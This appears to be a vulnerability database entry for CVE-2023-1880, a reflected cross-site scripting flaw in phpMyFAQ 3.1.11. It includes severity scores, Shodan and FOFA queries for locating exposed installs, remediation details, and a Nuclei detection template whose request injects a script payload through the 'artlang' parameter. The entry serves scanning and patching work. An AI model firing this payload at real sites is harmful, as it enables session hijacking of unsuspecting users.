SecurityContext

CVE-2023-1880: Phpmyfaq v3.1.11 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01644
  • Epss percentile: 0.77065
  • Cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="phpmyfaq"
  • Max-request: 1
  • Product: phpmyfaq
  • Shodan-query: http.html:"phpmyfaq"
  • Vendor: phpmyfaq
  • Verified: yes

Products

ProductIndexedUrl
phpmyfaq:phpmyfaqyes/v1/products/phpmyfaq/phpmyfaq

Labels

  • Name: Phpmyfaq - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  • Remediation: Update to the latest version of Phpmyfaq that patches this vulnerability or sanitize the 'artlang' parameter.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to click a malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-1880

```yaml

id: CVE-2023-1880

info:

name: Phpmyfaq v3.1.11 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.

impact: |

Unauthenticated attackers can inject malicious JavaScript through the unsanitized artlang parameter in send2friend functionality to steal user session cookies.

remediation: Fixed in 3.1.12 Version.

reference:

- https://huntr.dev/bounties/ece5f051-674e-4919-b998-594714910f9e

- https://nvd.nist.gov/vuln/detail/CVE-2023-1880

- https://github.com/thorsten/phpmyfaq/commit/bbc5d4aa4a4375c14e34dd9fcad2042066fe476d

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-1880

cwe-id: CWE-79

epss-score: 0.01644

epss-percentile: 0.77065

cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: phpmyfaq

product: phpmyfaq

shodan-query: http.html:"phpmyfaq"

fofa-query: body="phpmyfaq"

tags: cve2023,cve,huntr,xss,phpmyfaq,vuln

http:

- method: GET

path:

- "{{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, "phpmyfaq") && contains(body, "<script>alert(document.domain)</script>")'

- 'contains(content_type, "text/html")'

condition: and

digest: 4b0a00483046022100aabd427401f8d0ec05f76c43ad1079e3cc66538d0ef37b9f52f84af0e082c19a02210087af8b903ce56151b390a711fb3ad8e07d9b0e48b5eda1c6f1582727fe7b6a53:922c64590222798bb761d5b6d8e72950

```